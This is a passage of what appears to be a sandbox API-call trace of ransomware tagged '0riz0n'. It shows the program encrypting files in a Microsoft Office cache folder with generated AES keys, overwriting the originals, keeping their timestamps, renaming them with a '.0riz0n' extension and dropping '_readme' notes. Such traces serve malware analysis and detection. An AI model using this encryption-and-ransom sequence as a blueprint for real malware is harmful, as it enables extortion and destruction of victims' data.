[0060.347] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x38dad210, dwHighDateTime=0x1d59598)) returned 1 [0060.347] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0060.347] NtClose (Handle=0x1f0) returned 0x0 [0060.348] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0060.348] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0060.348] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0060.348] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0060.348] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0060.348] CryptDestroyKey (hKey=0x459b38) returned 1 [0060.348] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0060.348] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0060.348] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0060.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0060.348] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400)) returned 1 [0060.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0060.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0060.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0060.349] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0060.349] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0060.350] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0060.350] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0060.350] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400)) returned 1 [0060.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0060.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0060.350] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0060.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0060.350] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0060.350] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400)) returned 1 [0060.350] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0060.350] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0060.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0060.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0060.350] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0060.350] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0060.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0060.351] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xe874f770, dwHighDateTime=0x1d301be)) returned 1 [0060.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.351] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0060.351] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0060.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0060.351] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0060.351] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0060.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0060.351] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0060.352] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0060.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x263400) returned 0x2350020 [0060.352] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0x263400, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0x263400, lpOverlapped=0x0) returned 1 [0060.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x263400) returned 0x25c0020 [0060.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0060.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x263400) returned 0x2350020 [0060.452] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0060.472] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x25c0020) returned 1 [0060.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x263800) returned 0x25c0020 [0060.503] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25c0020*, pdwDataLen=0x17af858*=0x263400, dwBufLen=0x263800 | out: pbData=0x25c0020*, pdwDataLen=0x17af858*=0x263410) returned 1 [0060.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x263440) returned 0x2830020 [0060.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0060.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x25c0020) returned 1 [0060.561] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0060.561] WriteFile (in: hFile=0x1f0, lpBuffer=0x2830020*, nNumberOfBytesToWrite=0x263400, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2830020*, lpNumberOfBytesWritten=0x17af85c*=0x263400, lpOverlapped=0x0) returned 1 [0060.586] FlushFileBuffers (hFile=0x1f0) returned 1 [0060.595] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0060.595] NtClose (Handle=0x1f0) returned 0x0 [0060.645] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.0riz0n")) returned 1 [0060.645] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0060.646] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0060.646] GetLastError () returned 0x2 [0060.646] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6548, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0060.646] GetLastError () returned 0x2 [0060.646] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0060.646] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0060.646] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0060.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0060.647] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0060.648] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x39080c30, dwHighDateTime=0x1d59598)) returned 1 [0060.648] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0060.648] NtClose (Handle=0x1f0) returned 0x0 [0060.648] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0060.649] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0060.649] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0060.649] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2830020) returned 1 [0060.659] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0060.659] CryptDestroyKey (hKey=0x459b38) returned 1 [0060.659] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0060.659] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0060.659] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0060.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0060.659] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0060.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0060.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0060.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0060.659] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0060.659] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0060.659] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0060.659] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0060.659] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0060.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0060.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0060.660] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0060.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0060.660] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0060.660] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0060.660] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0060.660] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0060.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0060.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0060.660] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0060.660] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0060.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0060.660] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xe8728670, dwHighDateTime=0x1d301be)) returned 1 [0060.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.660] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0060.661] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0060.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0060.662] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0060.662] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0060.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0060.663] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0060.663] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0060.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c0) returned 0xf3a868 [0060.663] ReadFile (in: hFile=0x1f0, lpBuffer=0xf3a868, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesRead=0x17af85c*=0x5aa, lpOverlapped=0x0) returned 1 [0060.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c0) returned 0xef94d8 [0060.666] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf3a868) returned 1 [0060.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c0) returned 0xf3a868 [0060.666] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0060.666] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef94d8) returned 1 [0060.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x9c0) returned 0x1acf180 [0060.666] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1acf180*, pdwDataLen=0x17af858*=0x5aa, dwBufLen=0x9aa | out: pbData=0x1acf180*, pdwDataLen=0x17af858*=0x5b0) returned 1 [0060.666] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0060.666] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0060.666] WriteFile (in: hFile=0x1f0, lpBuffer=0xf3a868*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesWritten=0x17af85c*=0x5aa, lpOverlapped=0x0) returned 1 [0060.666] FlushFileBuffers (hFile=0x1f0) returned 1 [0060.669] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0060.669] NtClose (Handle=0x1f0) returned 0x0 [0060.670] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.0riz0n")) returned 1 [0060.670] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0060.670] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0060.671] GetLastError () returned 0x2 [0060.671] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6568, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0060.671] GetLastError () returned 0x2 [0060.671] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0060.671] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0060.671] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0060.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb) returned 0x30d630 [0060.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0060.672] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d630) returned 1 [0060.672] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0060.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0060.672] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e9, lpOverlapped=0x0) returned 1 [0060.672] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x390ccef0, dwHighDateTime=0x1d59598)) returned 1 [0060.672] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0060.673] NtClose (Handle=0x1f0) returned 0x0 [0060.673] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0060.673] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0060.673] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0060.673] RtlFreeHeap 